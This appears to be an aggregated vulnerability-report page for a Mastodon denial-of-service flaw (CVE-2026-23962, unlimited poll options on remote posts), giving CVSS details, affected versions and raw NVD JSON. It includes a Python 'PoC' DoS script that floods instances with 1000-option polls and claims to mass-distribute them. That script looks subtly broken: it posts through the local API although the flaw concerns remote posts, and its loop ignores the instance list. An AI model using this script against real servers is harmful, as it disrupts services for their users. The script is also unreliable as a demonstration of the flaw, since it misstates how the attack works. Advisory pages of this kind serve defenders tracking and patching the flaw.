Security Vulnerability Report
中文
CVE-2026-23962 CVSS 7.5 HIGH

CVE-2026-23962

Published: 2026-01-22 03:15:46
Last Modified: 2026-02-02 20:27:51

Description

Mastodon is a free, open-source social network server based on ActivityPub. Mastodon versions before v4.3.18, v4.4.12, and v4.5.5 do not have a limit on the maximum number of poll options for remote posts, allowing attackers to create polls with a very large amount of options, greatly increasing resource consumption. Depending on the number of poll options, an attacker can cause disproportionate resource usage in both Mastodon servers and clients, potentially causing Denial of Service either server-side or client-side. Mastodon versions v4.5.5, v4.4.12, v4.3.18 are patched.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
Mastodon < v4.3.18
Mastodon < v4.4.12
Mastodon < v4.5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-23962 PoC - Mastodon Poll Options DoS # This PoC demonstrates creating a post with excessive poll options TARGET_INSTANCE = "https://target-mastodon-instance.com" ATTACKER_TOKEN = "your_access_token_here" def create_malicious_poll(): """ Create a post with excessive poll options to trigger DoS """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Generate poll with 1000+ options (excessive amount) poll_options = [f"Option_{i}" for i in range(1000)] payload = { "status": "Check out this poll!", "poll": { "options": poll_options, "expires_in": 86400 } } response = requests.post( f"{TARGET_INSTANCE}/api/v1/statuses", headers=headers, json=payload ) return response.json() def exploit(): """ Mass distribute malicious polls to multiple instances """ target_instances = [ "https://instance1.social", "https://instance2.social" ] for instance in target_instances: print(f"[*] Targeting: {instance}") result = create_malicious_poll() print(f"[+] Created poll: {result.get('id')}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23962", "sourceIdentifier": "[email protected]", "published": "2026-01-22T03:15:46.400", "lastModified": "2026-02-02T20:27:51.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastodon is a free, open-source social network server based on ActivityPub. Mastodon versions before v4.3.18, v4.4.12, and v4.5.5 do not have a limit on the maximum number of poll options for remote posts, allowing attackers to create polls with a very large amount of options, greatly increasing resource consumption. Depending on the number of poll options, an attacker can cause disproportionate resource usage in both Mastodon servers and clients, potentially causing Denial of Service either server-side or client-side. Mastodon versions v4.5.5, v4.4.12, v4.3.18 are patched."}, {"lang": "es", "value": "Mastodon es un servidor de red social gratuito y de código abierto basado en ActivityPub. Las versiones de Mastodon anteriores a la v4.3.18, v4.4.12 y v4.5.5 no tienen un límite en el número máximo de opciones de encuesta para publicaciones remotas, lo que permite a los atacantes crear encuestas con una cantidad muy grande de opciones, aumentando considerablemente el consumo de recursos. Dependiendo del número de opciones de encuesta, un atacante puede causar un uso desproporcionado de recursos tanto en los servidores como en los clientes de Mastodon, lo que podría causar una denegación de servicio ya sea del lado del servidor o del lado del cliente. Las versiones de Mastodon v4.5.5, v4.4.12, v4.3.18 están parcheadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3.18", "matchCriteriaId": "0ADDA491-E534-4DFB-856F-9D07F38F3A92"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.12", "matchCriteriaId": "9BAA2A25-EE70-4B9F-8848-2CCE9C243077"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.5", "matchCriteriaId": "71845808-53CF-46D1-9A12-F14F1BAED488"}]}]}], "references": [{"url": "https://github.com/mastodon/mastodon/releases/tag/v4.3.18", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mastodon/mastodon/releases/tag/v4.4.12", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mastodon/mastodon/releases/tag/v4.5.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mastodon/mastodon/security/advisories/GHSA-gg8q-rcg7-p79g", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}